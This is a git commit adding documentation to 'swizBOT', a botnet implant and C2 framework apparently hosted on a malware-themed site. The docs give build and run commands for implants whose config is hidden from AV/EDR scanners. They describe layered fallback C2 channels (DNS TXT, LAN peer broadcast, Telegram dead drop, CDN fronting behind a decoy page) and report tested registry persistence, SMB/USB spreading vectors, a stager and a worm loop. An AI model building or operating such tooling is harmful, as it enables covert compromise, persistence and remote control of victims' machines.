mirror of
https://git.churchofmalware.org/ek0mssavi0r/swizBOT
synced 2026-09-24 08:34:38 +00:00
Upload files to "docs"
This commit is contained in:
@@ -0,0 +1,94 @@
|
||||
# Baked config & OPSEC
|
||||
|
||||
`cmd/build` compiles implant configuration straight into the binary, so a
|
||||
field deployment is one artifact instead of an env-var bundle. This note
|
||||
covers how that config is protected on disk and on the wire, what it does
|
||||
and does not guarantee, and how to verify it.
|
||||
|
||||
## The problem it fixes
|
||||
|
||||
Earlier builds injected each value as its own plaintext symbol:
|
||||
|
||||
```
|
||||
-ldflags "-X main.bakedC2URLs=https://c2.example:8443 \
|
||||
-X main.bakedBotSecret=s3cret \
|
||||
-X main.bakedBotKey=<implant-priv-hex>"
|
||||
```
|
||||
|
||||
`-ldflags -X` assigns a Go string variable, and string data lives verbatim
|
||||
in the binary. A single `strings` pass recovered the C2 endpoints, the
|
||||
shared bot secret and the implant private key from the shipped artifact —
|
||||
no reverse engineering required. That is convenience, not OPSEC.
|
||||
|
||||
## What we do now
|
||||
|
||||
All baked values are packed into one opaque token (`internal/bakepack`) and
|
||||
injected as a single string, `main.bakedBundle`:
|
||||
|
||||
| Mode | Token | Mechanism | Guarantee |
|
||||
|------|-------|-----------|-----------|
|
||||
| obfuscated (default) | `b1.<base64url>` | `salt(16) ‖ json XOR SHA-256(seed‖salt‖ctr)` | secrets are not present as readable strings in the binary |
|
||||
| sealed (`-seal PASS`) | `b2.<base64url>` | `salt(16) ‖ nonce(12) ‖ AES-256-GCM(json)`, key = PBKDF2-HMAC-SHA256(PASS, salt, 210k) | **authenticated encryption**: the binary alone discloses nothing and is inert without the passphrase |
|
||||
|
||||
### Obfuscated (b1)
|
||||
|
||||
Defeats casual triage, `strings`/`grep`, AV/EDR static string scanners and
|
||||
config hunters. It is **obfuscation, not encryption**: someone who reverses
|
||||
the token format can recover the values. Use it when you only need the
|
||||
artifact to not hand over its config on a plate.
|
||||
|
||||
### Sealed (b2)
|
||||
|
||||
Real AEAD under an operator passphrase that is supplied out-of-band at
|
||||
runtime via `SWIZ_UNLOCK`. The binary embeds only ciphertext + KDF salt, so
|
||||
a recovered artifact is useless without the passphrase. A wrong or missing
|
||||
`SWIZ_UNLOCK` fails authentication — the implant does **not** silently fall
|
||||
back to a baked secret it could not decrypt; it logs and continues on
|
||||
env/defaults. This is the mode to use for real OPSEC.
|
||||
|
||||
> Note: no self-contained artifact can hide a secret from someone who holds
|
||||
> both the binary *and* the runtime secret. b2 moves the secret out of the
|
||||
> binary and into operator custody; it does not put it nowhere.
|
||||
|
||||
## Precedence
|
||||
|
||||
```
|
||||
env (SWIZ_*) > baked (token) > built-in default
|
||||
```
|
||||
|
||||
Env always wins, so an operator can override any baked value without a
|
||||
rebuild. A sealed bundle that cannot be unlocked simply contributes nothing.
|
||||
|
||||
## Building
|
||||
|
||||
```bash
|
||||
# obfuscated (default)
|
||||
go run ./cmd/build -c2-urls https://c2.example:8443 \
|
||||
-bot-secret s3cret -bot-key <implant-hex> -c2-pubkey <op-hex>
|
||||
|
||||
# sealed -> zero-leak; set SWIZ_UNLOCK at runtime
|
||||
go run ./cmd/build -seal 'correct horse battery staple' \
|
||||
-c2-urls https://c2.example:8443 \
|
||||
-bot-secret s3cret -bot-key <implant-hex> -c2-pubkey <op-hex>
|
||||
```
|
||||
|
||||
Baking secrets without `-seal` prints a warning.
|
||||
|
||||
## Verifying
|
||||
|
||||
`make leakscan` (or `scripts/leakscan.sh`) builds the implant three ways and
|
||||
asserts the canary secrets are absent from the binary in both bake modes,
|
||||
using a deliberate plaintext negative control to prove the scanner works.
|
||||
|
||||
```bash
|
||||
$ make leakscan
|
||||
==> 1/4 negative control ... PASS control: control canary detected (scan works)
|
||||
==> 2/4 obfuscated bake (b1) ... PASS obfuscated: no plaintext canaries in binary
|
||||
==> 3/4 sealed bake (b2) ... PASS sealed: no plaintext canaries in binary
|
||||
==> 4/4 env still overrides baked ... PASS
|
||||
ALL LEAK CHECKS PASSED
|
||||
```
|
||||
|
||||
Unit coverage lives in `internal/bakepack/bakepack_test.go`: round-trip for
|
||||
both modes, passphrase required/wrong/tamper rejection, and a
|
||||
plaintext-absence regression guard.
|
||||
+25
@@ -0,0 +1,25 @@
|
||||
# LAN peer discovery (P2P)
|
||||
|
||||
The implant can learn additional C2 endpoints from other implants on
|
||||
the same LAN. This is an auxiliary discovery layer; the primary
|
||||
endpoints from SWIZ_C2_URLS always stay first in the rotation.
|
||||
|
||||
## Enable
|
||||
|
||||
```
|
||||
SWIZ_P2P=1 SWIZ_PEER_PORT=31337 ./swizbot-bot-linux
|
||||
```
|
||||
|
||||
Every participating implant:
|
||||
|
||||
- listens on UDP :31337 (SWIZ_PEER_PORT) for `SWIZC2 <url> [<url>...]`
|
||||
announcements;
|
||||
- answers a peer with its own endpoint list;
|
||||
- broadcasts its own list to the /24 directed broadcast every 60
|
||||
seconds.
|
||||
|
||||
Learned endpoints are merged into the client rotation (deduplicated,
|
||||
capped at 32). Discovery is plaintext and unauthenticated: it is a
|
||||
fallback for finding a C2 after primary domains are gone, not a
|
||||
security boundary. On networks where you do not want the implant to
|
||||
answer discovery traffic, leave SWIZ_P2P unset.
|
||||
@@ -0,0 +1,99 @@
|
||||
# swizBOT — transport options (C2 redundancy)
|
||||
|
||||
The swizBOT implant is endpoint-agnostic: it polls a list of C2
|
||||
URLs in random order and fails over across layers. Nothing in the
|
||||
client depends on a specific tunnel provider. Pick any option below
|
||||
and point implants at the public URL with `SWIZ_C2_URLS`; pair every
|
||||
public exposure with `-token` and `-bot-secret`.
|
||||
|
||||
## Layer summary (implant fallback order)
|
||||
|
||||
1. Primary HTTPS endpoints (`SWIZ_C2_URLS`) — your own TLS host or a
|
||||
tunnel URL, tried in random order.
|
||||
2. DNS TXT discovery (`SWIZ_DNS_DOMAIN`) — operator-controlled domain
|
||||
publishes additional endpoints; checked at boot and hourly.
|
||||
3. LAN peer discovery (`SWIZ_P2P=1`) — UDP broadcast; other implants
|
||||
share their C2 list, so a cut-off fleet re-finds the operator
|
||||
through any peer that still has a live route. See docs/P2P.md.
|
||||
4. Telegram dead drop (`SWIZ_TELEGRAM_TOKEN`) — last-resort command
|
||||
channel when every network path to the C2 is gone.
|
||||
5. Local result cache — results are stored while offline and flushed
|
||||
on the next successful contact.
|
||||
|
||||
## 1. cloudflared quick tunnel (built in, zero account)
|
||||
|
||||
The C2 server spawns a quick tunnel itself:
|
||||
|
||||
```bash
|
||||
./bin/swizbot-c2 -ui :8080 -listen :8443 -tunnel cloudflared \
|
||||
-token 'op-secret' -bot-secret 'shared-secret' \
|
||||
-cert server.crt -key server.key
|
||||
```
|
||||
|
||||
It prints the public `https://<random>.trycloudflare.com` URL once
|
||||
the tunnel is up. The implant protocol is plain HTTP(S) polling, so
|
||||
the whole fleet plus the dashboard ride the same URL:
|
||||
|
||||
```bash
|
||||
SWIZ_C2_URLS=https://<random>.trycloudflare.com \
|
||||
SWIZ_BOT_SECRET=*** ./bin/swizbot-bot-linux
|
||||
```
|
||||
|
||||
Hostnames are random per start; for a fixed hostname use a named
|
||||
cloudflared tunnel or a direct host. Requires `cloudflared` on PATH.
|
||||
|
||||
## 2. Direct VPS with TLS (no third party)
|
||||
|
||||
Run behind Caddy or nginx on 443, or let the C2 terminate TLS
|
||||
itself (`-cert`/`-key`, the default `-listen :8443`). Caddy
|
||||
one-liner:
|
||||
|
||||
```
|
||||
your-domain.example {
|
||||
reverse_proxy 127.0.0.1:8443
|
||||
}
|
||||
```
|
||||
|
||||
Keep the listener bound to 127.0.0.1 when a front proxy is used.
|
||||
Implants set `SWIZ_C2_URLS=https://your-domain.example:8443`
|
||||
(or :443 when the proxy fronts it).
|
||||
|
||||
## 3. CDN fronting (Cloudflare Worker) for the full fleet
|
||||
|
||||
`deploy/cloudflare_worker.js` routes on the Host header: requests for
|
||||
your hidden hostname are forwarded to the swizBOT origin; everyone
|
||||
else gets a decoy page. Set env `C2_HOST` and `BACKEND_URL`, deploy
|
||||
with `wrangler`, and implants use
|
||||
`SWIZ_C2_URLS=https://<your-cdn-domain>`.
|
||||
|
||||
Because the implant channel is HTTP polling (not WebSocket), the
|
||||
worker fronts checkin/result for the fleet and the operator API
|
||||
without extra bridging. The dashboard `/ws` stream needs the
|
||||
WebSocket-origin pattern if you want live UI updates through the
|
||||
worker; polling fallback in the dashboard covers it otherwise.
|
||||
|
||||
## 4. DNS TXT as dynamic re-discovery
|
||||
|
||||
Point `SWIZ_DNS_DOMAIN` at a TXT record you control containing one or
|
||||
more `https://` endpoints. When primary endpoints die, implants pick
|
||||
up the new operator address from DNS within the hour:
|
||||
|
||||
```
|
||||
dig TXT c2.example.com
|
||||
c2.example.com. 300 IN TXT "https://current-c2.example.net:8443"
|
||||
```
|
||||
|
||||
## 5. LAN P2P as the last network layer
|
||||
|
||||
`SWIZ_P2P=1` enables the UDP peer discovery (port 31337 by default).
|
||||
Implants broadcast their endpoint list on the LAN and answer peers.
|
||||
This keeps a fleet reachable when external paths are cut but any
|
||||
single implant still has a route. Plaintext/unauthenticated by
|
||||
design - it is a fallback, not a trust boundary (docs/P2P.md).
|
||||
|
||||
## 6. Telegram dead drop
|
||||
|
||||
With `SWIZ_TELEGRAM_TOKEN` (and optional `SWIZ_TELEGRAM_CHAT_ID`),
|
||||
implants fall back to polling a Telegram channel for JSON commands
|
||||
when every endpoint is unreachable. Lowest bandwidth, highest
|
||||
latency - the last-resort command lane.
|
||||
@@ -0,0 +1,51 @@
|
||||
# Verification status
|
||||
|
||||
What has actually been **executed** versus what only compiles and is unit
|
||||
tested. Kept honest on purpose: a thing that builds is not a thing that
|
||||
runs.
|
||||
|
||||
Last updated 2026-09-10 (main).
|
||||
|
||||
## Live-verified
|
||||
|
||||
| area | how | result |
|
||||
|------|-----|--------|
|
||||
| Linux implant end to end | boot C2, bake implant, `exec` command | registered, sealed AEAD checkin, result `success` |
|
||||
| Obfuscated baked config (b1) | `make leakscan` | no string-recoverable secrets |
|
||||
| Sealed baked config (b2) | `make leakscan` + live run | inert without `SWIZ_UNLOCK`; loads with it |
|
||||
| DNS fallback layer | local stub, HTTPS endpoint dead, command published as TXT `swiz1:<b64>` | implant opened + executed the command over DNS |
|
||||
| Windows implant (Wine) | Wine 10 + Xvfb, host C2 | registered (`windows/amd64`), sealed channel active, `exec` returned `WIN-EXEC-OK` |
|
||||
| Windows GDI screenshot (Wine) | `screenshot` command | valid PNG, 1280x1024 |
|
||||
| Windows registry persistence (Wine) | run implant | `HKCU\...\Run` -> `swizBOT` value written |
|
||||
| Transport manager | unit tests (controllable clock) | failover, probation, recovery, backoff cap, ordering |
|
||||
|
||||
## Compiled + unit-tested only (not live-fired here)
|
||||
|
||||
- **Telegram dead-drop layer** — needs a real bot token + chat.
|
||||
- **P2P LAN discovery** — needs a real multi-host LAN.
|
||||
- **SMB / USB / network-share vectors** and **scheduled-task persistence** —
|
||||
need a real Windows host; Wine has no SMB server and no `schtasks`.
|
||||
- **Stager** — emulator round-trips + nasm byte parity only; not run on
|
||||
Windows hardware.
|
||||
|
||||
## Deliberately not run
|
||||
|
||||
- **Worm spread loop** — not executed (sandbox policy).
|
||||
|
||||
## Reproducing
|
||||
|
||||
```bash
|
||||
make vet && make test # static + unit
|
||||
make leakscan # baked-config leak scan (with negative control)
|
||||
python3 stager/encoder.py --selftest
|
||||
```
|
||||
|
||||
DNS-fallback live test: stand up a local DNS responder on `127.0.0.1:53`
|
||||
that answers TXT `swiz1:<base64url(sealed frame)>` for a test zone and
|
||||
forwards other queries upstream, point `/etc/resolv.conf` at it (restore
|
||||
after), set `SWIZ_DNS_DOMAIN`, and run the implant with an unreachable
|
||||
`SWIZ_C2_URLS`. The command must arrive over DNS.
|
||||
|
||||
Windows-under-Wine: `WINEPREFIX=... xvfb-run -a wine ./swizbot-bot.exe`
|
||||
with a Linux C2 as the endpoint (`SWIZ_C2_URLS`/baked), then `exec` /
|
||||
`screenshot` and a registry check.
|
||||
Reference in New Issue
Block a user